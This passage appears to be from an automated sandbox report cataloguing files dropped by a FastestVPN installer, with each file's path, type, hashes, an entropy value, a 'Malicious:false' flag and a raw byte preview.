                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....z:..........." ..0..n..........&.... ........... ....................................`....................................O.......h............v...*..........@...8............................................ ............... ..H............text...,m... ...n.................. ..`.rsrc...h............p..............@..@.reloc...............t..............@..B........................H........6..PU............................................................{....*"..}....*..{....*"..}....*..~....}......s....}.....(........(.............s*...}....*....0..................,5...(A.....(.........,..~.....(.....s....o.......8..............0....B+......8..... . ...G+.. . ..;....8....~.....(.....s....o.....8....~.....(.....s....o.....+s.o.....~.....(....s....o......(....o ...r...p(!.......,...(.......{.....{....o"....(6...&+...(......s#...(.....+.+..*..0..F.......

                                                                                                                C:\Program Files\FastestVPN\VPN.WireGuard.dll (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):20136
                                                                                                                Entropy (8bit):6.723147332362829
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:384:BaXxdsvBO/dITrZ+VK6G6IYi+PVl0FP27NBY3Yuv+t+QV:BJZl6GHYiGIK/Y/+tB
                                                                                                                MD5:14A266CFF3BC7795C208096E24D4791D
                                                                                                                SHA1:D55A976C562A309B4EEB860E711324A22357470E
                                                                                                                SHA-256:2C2E075009E736927EBC468CDFB7FF273F73670DF87A057C7B98D18A17CA945D
                                                                                                                SHA-512:E4A82644052C82F3CFEBAFFF15DEF713F3883F3E32043FAFB607CEE008498329C2E5A5712B0FEE670D68C9CEE127EC70FEC88977B25AF838B5977595268CD252
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...W/%..........." ..0.............^;... ...@....... ..............................}.....`..................................;..O....@...............$...*...`......l:..8............................................ ............... ..H............text...d.... ...................... ..`.rsrc........@......................@..@.reloc.......`......."..............@..B................>;......H........$..............................................................F.(....r...p(....*..{....*"..}....*..0...........s......r...po....&.r-..p.(....o....(....o....&.rI..p.(....o....r_..p(....o....&.rg..p.(....o....(....o....&.(......,...ru..po....&..r...po....&.r...po....&.r...p.(....o....(....o....&.r...po....&.r...p.(....o....r...p(....o....&.(....o.....o....( ....*..r...p.(....o!...r...p(....r...p.(....o....r...p(....("...&*..r?..prK..p.(.........(#...("...&*..r?..pr...

                                                                                                                C:\Program Files\FastestVPN\VPN.dll (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):18088
                                                                                                                Entropy (8bit):6.784018634948529
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:384:4iqjQN+Pw2X6VUYNVYuKAiIYiUOX0FP27NBY3Yuv+WO:fqjQ8f5uKAvYidgK/Y/+X
                                                                                                                MD5:CD6CB12E677F6C45BBFE57DED6C90567
                                                                                                                SHA1:C13525F597974BA46B4B2A71F270B1056332F77B
                                                                                                                SHA-256:FA0E1B932B5548F39795B9C24106B48D6221600EA7679D6A1D1DEEED1C8D7D8C
                                                                                                                SHA-512:6D9DC73035F3C053281C9347131C8EF232797507F28271B60428FCA4A82CC43689BF1FA3E6DCE46AE92BC3C0E924745F81E315D2E4D4BD2F5D7991DC78A58FBD
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...X4y..........." ..0.............n3... ...@....... ....................................`..................................3..O....@..H................*...`.......2..8............................................ ............... ..H............text...t.... ...................... ..`.rsrc...H....@......................@..@.reloc.......`......................@..B................N3......H........#................................................................{....*"..}....*..{....*"..}....*..{....*"..}....*..(........%-.&r...ps....z(.......(.....*.0..................,..rM..ps....z.(.........,...(....o.......(.......(.....s....o.........(....(......(....o......(....o........&..(.....r...ps....o........*..........tu.......0..B..........(....%-.&+.o.......*&..(.....(....%-.&.+.(......s....o........*.............*.....0..B..........(....%-.&+.o ......*&..(.....

                                                                                                                C:\Program Files\FastestVPN\WpfAnimatedGif.dll (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):53416
                                                                                                                Entropy (8bit):6.326182355914875
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:768:x0Gl7W1UiZTo1ooEqTh0sq/s/MnBOyvUPrYZbkchJYi/S8K/Y/+A:6qQpZTsooEah0sqU/by4UZzhJ7K8K/S
                                                                                                                MD5:C4BC370961A9E628E64B8FF4586D4DA6
                                                                                                                SHA1:B391F6A1A54B693F14BA7E8CD58DD8976CDDC992
                                                                                                                SHA-256:097B7F6F9ED8B63F0E725DE28D6842F6AC93D8105E441C7498385FAAD243A8C1
                                                                                                                SHA-512:169FD48C453BC95D33137BDAA22225B483CF9BF73CBCE9AFB5B6BF63B62300CC98A968F1D825348CDB8C786232B66D62247659FD809B6B0D7BCBF26C7B4519A4
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................." ..0.................. ........... ....................................@.................................J...O.......$................*..........h...T............................................ ............... ..H............text........ ...................... ..`.rsrc...$...........................@..@.reloc..............................@..B................~.......H........H..Hq...........................................................{....*..{....*V.(......}......}....*...0..A........u........4.,/(.....{.....{....o....,.(.....{.....{....o....*.*.*. ...' )UU.Z(.....{....o....X )UU.Z(.....{....o....X*...0..b........r...p......%..{.......%q.........-.&.+.......o ....%..{.......%q.........-.&.+.......o ....(!...*...0..2..........(....~.......o"...-.~.....s#...%.o$.....o%...&*...0..A..........(....~.......o"...,)..o&..., .o'...-.~.....o(

                                                                                                                C:\Program Files\FastestVPN\app-icon.ico (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:MS Windows icon resource - 3 icons, 16x16, 32 bits/pixel, 32x32, 32 bits/pixel
                                                                                                                Category:dropped
                                                                                                                Size (bytes):15086
                                                                                                                Entropy (8bit):3.1108966039740653
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:96:FajQ4xW97nzsbzW+0eTODzfHvt0K/UrPdlMoi5U:FTd7nzsbyyqvt1/URiby
                                                                                                                MD5:BC1059DA39659B80A09C994AE6DB5DB7
                                                                                                                SHA1:D7E9D74133C98F897B94C42F09B93F10E3274EDB
                                                                                                                SHA-256:9543C96124919AE5B672FD7C23CCF5946A37FBB83A174112A33DA9FF37449B43
                                                                                                                SHA-512:F88CD2EC86E52EF31C471E580A9733D7DAAA7E3062C7DBCAAF9E50308934A4B679B364A4C1372D9021D9F5A504D5C310B8F631799AFA3248878B4F55A6CB704B
                                                                                                                Malicious:false
                                                                                                                Preview:............ .h...6... .... .........00.... ..%..F...(....... ..... .....@...................................2..A!...........................................................3..#.... ..-...................................................................m....................................................`.............. ................................................... ..]...............G........................................................ ...!...&...,{..........................7...................!...!... ... ......U....................U...+.../...,...'.......................,..7....................4..7(...)...-...4...@...>...2...........N.......................*..M&...*.......0...7...Y...j...r...?..i............................(..M...............................................................`...!..}..............._................................................0..!"..............5.......................................................I......................................

                                                                                                                C:\Program Files\FastestVPN\fix-dns-leak-32.dll (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):25768
                                                                                                                Entropy (8bit):6.8288213942048985
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:384:tNjMaZomdl7FUC9mhsCVoNycrjIg9J197j26QIYidYFl0FP27NBY3Yuv+tiV:tHhShzuD/Bpa65YiGFuK/Y/+tiV
                                                                                                                MD5:37E6E1D07988932C4360D74A34B27AE9
                                                                                                                SHA1:F53AE2462ECC565EFCC28D1C5BB2C285BF899798
                                                                                                                SHA-256:7E321840FA4F112D0F117D8F4E4DDCA274829693CD1C1189CE1061B6F67550FF
                                                                                                                SHA-512:EFB94F19A885D20BF602AFE84CDD4FE5E9CE89B3A5B7D0BD5273546A6B5D894AD6F1359545DC6B2EEDE06FCB06790286CB69EFB153F249D7D8EF0C677C5D1B3A
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......4.a.pi.Hpi.Hpi.H68.Hri.H68.H|i.H68.Hri.H68.Hti.H...Hqi.H...Hyi.Hpi.HFi.H};.Hsi.H};.Hqi.H};.Hqi.H};.Hqi.HRichpi.H........PE..L....q.Z...........!.................$.......0...............................p............@..........................7......D:.......P...............:...*...`..x...................................p4..@............0...............................text............................... ..`.rdata.......0......."..............@..@.data...\....@.......2..............@....rsrc........P.......4..............@..@.reloc..x....`.......6..............@..B................................................................................................................................................................................................................................................................................................................

                                                                                                                C:\Program Files\FastestVPN\iphelperclose.dll (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (DLL) (console) Intel 80386, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):116872
                                                                                                                Entropy (8bit):6.726218253535254
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:3072:8tw0r3S8FpUCSBCLiXdb0NphY3kWlon6ZhPn8agN6K/p:8mWi8FpCBCLybQakA/Pn8agNj/p
                                                                                                                MD5:B9F4D43230B7FB66B95AF05DC03B32DE
                                                                                                                SHA1:56F868C56FFF836CA61055499988F965DCA37D26
                                                                                                                SHA-256:A103634B16841E3A68DD4A6BCBDFC3A1651B8C9F1114D99BF01CA31297664E21
                                                                                                                SHA-512:50EB5DE7D0A1B5D7E1AC38209488635EF77733C2C78DC39D0D473904128DBFC67D4E3EC388D2C2D79645AFDF03FD1965386F6E6D21553C9A6DAB07A58549FD1E
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........V.n.7.=.7.=.7.=.S.<.7.=.S.<o7.=.S.<.7.=._.<.7.=._.<.7.=._.<.7.=.S.<.7.=.7.=.7.=._.<.7.=._.<.7.=._3=.7.=._.<.7.=Rich.7.=........................PE..L...q._]...........!................O........0............................................@.............................T.......<.......................................p...............................@............0...............................text............................... ..`.rdata..4g...0...h..................@..@.data...4...........................@....rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................

                                                                                                                C:\Program Files\FastestVPN\is-0H0J5.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):20136
                                                                                                                Entropy (8bit):6.723147332362829
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:384:BaXxdsvBO/dITrZ+VK6G6IYi+PVl0FP27NBY3Yuv+t+QV:BJZl6GHYiGIK/Y/+tB
                                                                                                                MD5:14A266CFF3BC7795C208096E24D4791D
                                                                                                                SHA1:D55A976C562A309B4EEB860E711324A22357470E
                                                                                                                SHA-256:2C2E075009E736927EBC468CDFB7FF273F73670DF87A057C7B98D18A17CA945D
                                                                                                                SHA-512:E4A82644052C82F3CFEBAFFF15DEF713F3883F3E32043FAFB607CEE008498329C2E5A5712B0FEE670D68C9CEE127EC70FEC88977B25AF838B5977595268CD252
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...W/%..........." ..0.............^;... ...@....... ..............................}.....`..................................;..O....@...............$...*...`......l:..8............................................ ............... ..H............text...d.... ...................... ..`.rsrc........@......................@..@.reloc.......`......."..............@..B................>;......H........$..............................................................F.(....r...p(....*..{....*"..}....*..0...........s......r...po....&.r-..p.(....o....(....o....&.rI..p.(....o....r_..p(....o....&.rg..p.(....o....(....o....&.(......,...ru..po....&..r...po....&.r...po....&.r...p.(....o....(....o....&.r...po....&.r...p.(....o....r...p(....o....&.(....o.....o....( ....*..r...p.(....o!...r...p(....r...p.(....o....r...p(....("...&*..r?..prK..p.(.........(#...("...&*..r?..pr...

                                                                                                                C:\Program Files\FastestVPN\is-1D2AA.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                                                                Category:dropped
                                                                                                                Size (bytes):432
                                                                                                                Entropy (8bit):5.0141792226861375
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:12:MMHdGzNFF7ap+5v5OXrRf/2//FicYo4xT:JduPF7NhOXrRH2/d9y
                                                                                                                MD5:8F6EB9E75E6A6F0C0D58FB697C10CEDF
                                                                                                                SHA1:6944935DFDC33E0C6DB26869BF25EDA85A2622D8
                                                                                                                SHA-256:E2B8677434501735FB0233ED0CC2FFEE5BF6FB4387C51DBCB2585A70E42E4F08
                                                                                                                SHA-512:A946252B2E3705EAE751A2672D4ADE1499ECEB28C48B4BE6150C4201EE20A7B9A4450C75E06B07F5DAA3528041A566931D988FBD0C2EA90240D61008895BA44A
                                                                                                                Malicious:false
                                                                                                                Preview:.<?xml version="1.0" encoding="utf-8"?>..<configuration>.. <runtime>.. <assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1">.. <dependentAssembly>.. <assemblyIdentity name="Newtonsoft.Json" publicKeyToken="30ad4fe6b2a6aeed" culture="neutral" />.. <bindingRedirect oldVersion="0.0.0.0-13.0.0.0" newVersion="13.0.0.0" />.. </dependentAssembly>.. </assemblyBinding>.. </runtime>..</configuration>

                                                                                                                C:\Program Files\FastestVPN\is-1G987.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):29352
                                                                                                                Entropy (8bit):6.56368110636982
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:768:vT6rilChUvVsYQTJMS6V4B6PYikK/Y/+V7:7qSsYOwP7kK/77
                                                                                                                MD5:1CFBF0CBA3C87653D9639ADA438C3291
                                                                                                                SHA1:07E36A34319EAD85857CC022E277B69EA132750B
                                                                                                                SHA-256:3525FCE82E2687D8EFAF992147B196881818856EA9EA851A8DC930751329A8DD
                                                                                                                SHA-512:E95FC978E889BD62E92975EFD8F39161B6E43FE97451068552E3A71635943F990E4E8697323794D75F77BB12F3DE4E2CFADB5B9D80EF90F1992C82298EBFD00B
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...t.i..........." ..0..@...........^... ...`....... ....................................`.................................:^..O....`...............H...*..........|]..8............................................ ............... ..H............text....>... ...@.................. ..`.rsrc........`.......B..............@..@.reloc...............F..............@..B................n^......H........1...+............................................................{....*:.(......}....*..0..)........u..........,.(.....{.....{....o....*.*.*v .5Q' )UU.Z(.....{....o....X*..0..:........r...p......%..{.......%q.........-.&.+.......o.....(....*..{....*:.(......}....*....0..)........u..........,.(.....{.....{....o....*.*.*v . .q )UU.Z(.....{....o....X*..0..:........r-..p......%..{.......%q.........-.&.+.......o.....(....*..{....*..{....*V.(......}......}....*.0..A.......

                                                                                                                C:\Program Files\FastestVPN\is-1L7K0.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):41128
                                                                                                                Entropy (8bit):6.4006875255426365
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:768:dQq+jQ+JutCjyVmF8Wq8sBP3/7lpKaDBuz3bzrzlJBOKipq8pdwYv4qzsYiCtVK9:gVutFQF873t3/77KaDBuz3bzrBJBOKig
                                                                                                                MD5:FDF4712500755002CD0FFD2F7BEA8C2A
                                                                                                                SHA1:372F4D6F2F19A5DF96FCDEF566AE4761F7AFF2B5
                                                                                                                SHA-256:D61A675E7D11A6DDF12E4CEBCABFD7BAAA24B86AD7B751BE19788E7A8A5ABE39
                                                                                                                SHA-512:6484349215D1347FB3D77E6598AF740045AC416EE06370B8D89E91ECBA930E5AFFCE6F4840CE4ECD2214960E1884CCBE49710E5B5C1FEBE0C96F88A099AE2E4E
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....z:..........." ..0..n..........&.... ........... ....................................`....................................O.......h............v...*..........@...8............................................ ............... ..H............text...,m... ...n.................. ..`.rsrc...h............p..............@..@.reloc...............t..............@..B........................H........6..PU............................................................{....*"..}....*..{....*"..}....*..~....}......s....}.....(........(.............s*...}....*....0..................,5...(A.....(.........,..~.....(.....s....o.......8..............0....B+......8..... . ...G+.. . ..;....8....~.....(.....s....o.....8....~.....(.....s....o.....+s.o.....~.....(....s....o......(....o ...r...p(!.......,...(.......{.....{....o"....(6...&+...(......s#...(.....+.+..*..0..F.......

                                                                                                                C:\Program Files\FastestVPN\is-21GOU.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):160936
                                                                                                                Entropy (8bit):5.261187861382329
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:3072:kgeojL/a7WvVHjizsw+Uu5MBBA4TigO8K/1:5jDzvVDizsQWMB1iR/1
                                                                                                                MD5:F3F2EB62314A960AD5F60B61A8193CBD
                                                                                                                SHA1:FD77AD6D9F96762CD7EE8D17454D9A7490FD8148
                                                                                                                SHA-256:0F74E741958310B8E65E3B2393828998DB075EBF4C5B29045707948C65CB03CC
                                                                                                                SHA-512:A62D09CF93E604AE0282F05842B607216533800F82ABF75E7D0FF1E9DED5F748B9E34D5E38170F1C837A0957D15FC4C6DF101FF2BE48D90C880807D0FB95D3E6
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...2.Z...........!.........,......n:... ...@....... ....................................@..................................:..S....@..8)...........J...*...........8............................................... ............... ..H............text...t.... ...................... ..`.rsrc...8)...@...*..................@..@.reloc...............H..............@..B................P:......H........#......................P ............................................y.....3....f........UE#.H.NDC..\3,.|7...1...=.w..n.w.P5.y.......p.._Z@B..h..#,._...p...|..qXV..6.......i[..2;.'`..=.;...~....*..0..T.......(..........(....(......r...pr...p(...........s..........,..(......T+...~....(....T.*.~....,.~....o..........~....,.~....(..........*.0..e.......s.......o....s......r5..p.o ....r?..p.o ....rQ..pry..po .....s!........~.....("...s#.....r...p($...&*....0..A.......

                                                                                                                C:\Program Files\FastestVPN\is-29MT4.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):48256
                                                                                                                Entropy (8bit):6.234996524588368
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:768:AMWC5N7mKWPKz4VJ4e0jeuTGlBh0JzqPPxofk3l9z2I:Y67hCfV8j3TGlB+JsafkHzP
                                                                                                                MD5:37EB7CCE6E282D3572D64C880E1AC3C8
                                                                                                                SHA1:9A2952589A19D650932E7C633577EB9AFC04F959
                                                                                                                SHA-256:039155F155C5D14F5B73F4EE2CD1FBD9290F391B88A1D2A0BA815569205EDB74
                                                                                                                SHA-512:E3C2EF1CC52E3AA5BD77B74DEC93A4FC9E908DF823426F13CA304265D41605DE51970CC8C7E18C2E76319D3225707B2EA2D8613402A25C4FBD3951E70FCFD521
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....v..........." ..0.................. ........... ....................................`.....................................O........................(..............T............................................ ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B.......................H........=..da..........0.................................................(....*..(....*^.(.......>...%...}....*:.(......}....*:.(......}....*:.(......}....*:.(......}....**.-..(....*..s....z.~....*...0..........(....,..*..(.....o.......&...*...................0...........(.......(....-..,..*.*.(....,.r...p......%...%...(....*..( ...*.(....,.r...p......%...%...%...(....*...(!...*.(....,!r...p......%...%...%...%...(....*....("...*..,&(....,..r...pr...p.(....(#...*..($...*.*.(.

                                                                                                                C:\Program Files\FastestVPN\is-2Q1GI.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):110760
                                                                                                                Entropy (8bit):5.479763068610726
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:1536:hpKSyD3hoE3PQU9xb1iPKHKWU//6hE2rkQQc76rK/8:qSyLhZ/X9xb1YKqn/unQcOrK/8
                                                                                                                MD5:3FC875FFEFAC2BBA64E6F2A6A7CFF45B
                                                                                                                SHA1:CAB48D6D156261CD9612633D70A61DA670D0D093
                                                                                                                SHA-256:5A12A8D3CA02716C616F56342C920422966ABF79B49C4B1E1C7FF36E97764E1B
                                                                                                                SHA-512:DDA0B6F0587D7915B490FFA2225E72374A2AA671E2019ABDC72EB7598B642906CF09302575C5B5B495B832FF434D45BAD0650C0409358E5D1786F4561FAE3636
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....oY.........." ..0..v..........j.... ........... ....................................@.....................................O........................*..........t................................................ ............... ..H............text...pu... ...v.................. ..`.rsrc................x..............@..@.reloc..............................@..B................K.......H.......,S..0>..........\.................................................(....*&.l(....k*&.l(....k*..l.l(....k*&.l(....k*&.l(....k*&.l(....k*j~....%-.&(....s....%.....*..*.0..$.........(.....o.......&...,....o....,..*.*..................,!(....,..r...p.(....(....*..(....*.*.(....,.r...p......%...%...(....*..(....*.(....,.r...p......%...%...%...(....*...(....*.(....,!r...p......%...%...%...%...(....*....(....*2r...p.(....*2rG..p.(....*2r...p.(....*2r...p.(....*......(....*...

                                                                                                                C:\Program Files\FastestVPN\is-36LHL.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                                                                Category:dropped
                                                                                                                Size (bytes):1112
                                                                                                                Entropy (8bit):5.030466366630491
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:24:JdArztW1oF7Nv+IcvH2/+GVTcvH2/+GVhOXrRH2/d9y:3Arzcq7h+Iag+GMg+G27Rgdw
                                                                                                                MD5:B94AE93769D64791440B3C36CC82AC69
                                                                                                                SHA1:E4AAAD9A0FB51051C8B25F768BC1563543F132C0
                                                                                                                SHA-256:432BFD182828A531147812566CB3439702A243BB7A4C45CC816192F9CB91D4A5
                                                                                                                SHA-512:AD978C59980C0194357D5070D53EA77C334493D14593C141B9DBEEF835FC688FD90C99236D687F50860FA7F4FD4125650E432A61EDF7917C77E4EE4E5E3D4E66
                                                                                                                Malicious:false
                                                                                                                Preview:.<?xml version="1.0" encoding="utf-8"?>..<configuration>.. <startup> .. <supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.8" />.. </startup>.. <runtime>.. <legacyCorruptedStateExceptionsPolicy enabled="true" />.. <assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1">.. <dependentAssembly>.. <assemblyIdentity name="Microsoft.Expression.Interactions" publicKeyToken="31bf3856ad364e35" culture="neutral" />.. <bindingRedirect oldVersion="0.0.0.0-4.5.0.0" newVersion="4.5.0.0" />.. </dependentAssembly>.. <dependentAssembly>.. <assemblyIdentity name="System.Windows.Interactivity" publicKeyToken="31bf3856ad364e35" culture="neutral" />.. <bindingRedirect oldVersion="0.0.0.0-4.5.0.0" newVersion="4.5.0.0" />.. </dependentAssembly>.. <dependentAssembly>.. <assemblyIdentity name="Newtonsoft.Json" publicKeyToken="30ad4fe6b2a6aeed" culture="neutral" />.. <bindingRedirect oldVersion="0.0.0.0-13.0.0

                                                                                                                C:\Program Files\FastestVPN\is-3T92M.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):711952
                                                                                                                Entropy (8bit):5.967185619483575
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:12288:GBja5bBvR8Q0TE2HB0WLmvXbsVG1Gw03RzxNHgKhwFBkjSHXP36RMGy1NqTUO:GBjk38WuBcAbwoA/BkjSHXP36RMG/
                                                                                                                MD5:195FFB7167DB3219B217C4FD439EEDD6
                                                                                                                SHA1:1E76E6099570EDE620B76ED47CF8D03A936D49F8
                                                                                                                SHA-256:E1E27AF7B07EEEDF5CE71A9255F0422816A6FC5849A483C6714E1B472044FA9D
                                                                                                                SHA-512:56EB7F070929B239642DAB729537DDE2C2287BDB852AD9E80B5358C74B14BC2B2DDED910D0E3B6304EA27EB587E5F19DB0A92E1CBAE6A70FB20B4EF05057E4AC
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...p$?..........." ..0.............B.... ........... ....................... ............`....................................O......................../.......... ...T............................................ ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B................$.......H.......x...(9............................................................(....*..(....*^.(...........%...}....*:.(......}....*:.(......}....*..(....*:.(......}....*..{....*..(....*..(....*:.(......}....*..{....*.(.........*....}.....(......{.....X.....}....*..0...........-.~....*.~....X....b...aX...X...X..+....b....aX....X.....2.....cY.....cY....cY..|....(......._..{........+,..{|....3...{{......(....,...{{...*..{}.......-..*...0...........-.r...ps....z.o......-.~....*.~....

                                                                                                                C:\Program Files\FastestVPN\is-43KDF.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):25768
                                                                                                                Entropy (8bit):6.623350319992477
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:384:21Vrp7wobZBVBhB3GmLiVWgktWe9JHEDIYirwt0FP27NBY3Yuv+1WyT1g:21VV7TbXX72MtWQJHEsYi/K/Y/+1Wy5g
                                                                                                                MD5:D92BF2C8E0A192E18B1F0B24CCB75171
                                                                                                                SHA1:2A6343C3409172E1D426B763151E0CBA3B35E473
                                                                                                                SHA-256:BEED084878EACA4A745A53CC21FAAD1A76F4F82C955BB507496B5B9F23032F1C
                                                                                                                SHA-512:71AD4963BCEBE516FD9EE526F2DD1ECB13F10E1424D0D3CED08A19A38D902DA562C9B1D0E308C4B898E30187773F040CF6A437210EFEF52B957623F798E59459
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...R.s..........." ..0..2..........:Q... ...`....... ..............................I/....`..................................P..O....`...............:...*..........,P..8............................................ ............... ..H............text...@1... ...2.................. ..`.rsrc........`.......4..............@..@.reloc...............8..............@..B.................Q......H.......`(...'...........................................................0..M........r...p}.....r...p}.....(......{..... (....(....(......{..... (....(....(....*^~....-.s.........~....*..{....*"..}....*..{....*"..}....*..0..8........(........(.....(.....o....r...p(....o.......&..r...p*.*........--.......0..(.......(.....o........(.....(.......&..r...p*.*.................0..X........o.....[.&......+9...Z.o.... ....(........Z.X.o.... ....(......b`.......X...o.....[2..*.0..V...

                                                                                                                C:\Program Files\FastestVPN\is-6ANJF.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):18088
                                                                                                                Entropy (8bit):6.784018634948529
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:384:4iqjQN+Pw2X6VUYNVYuKAiIYiUOX0FP27NBY3Yuv+WO:fqjQ8f5uKAvYidgK/Y/+X
                                                                                                                MD5:CD6CB12E677F6C45BBFE57DED6C90567
                                                                                                                SHA1:C13525F597974BA46B4B2A71F270B1056332F77B
                                                                                                                SHA-256:FA0E1B932B5548F39795B9C24106B48D6221600EA7679D6A1D1DEEED1C8D7D8C
                                                                                                                SHA-512:6D9DC73035F3C053281C9347131C8EF232797507F28271B60428FCA4A82CC43689BF1FA3E6DCE46AE92BC3C0E924745F81E315D2E4D4BD2F5D7991DC78A58FBD
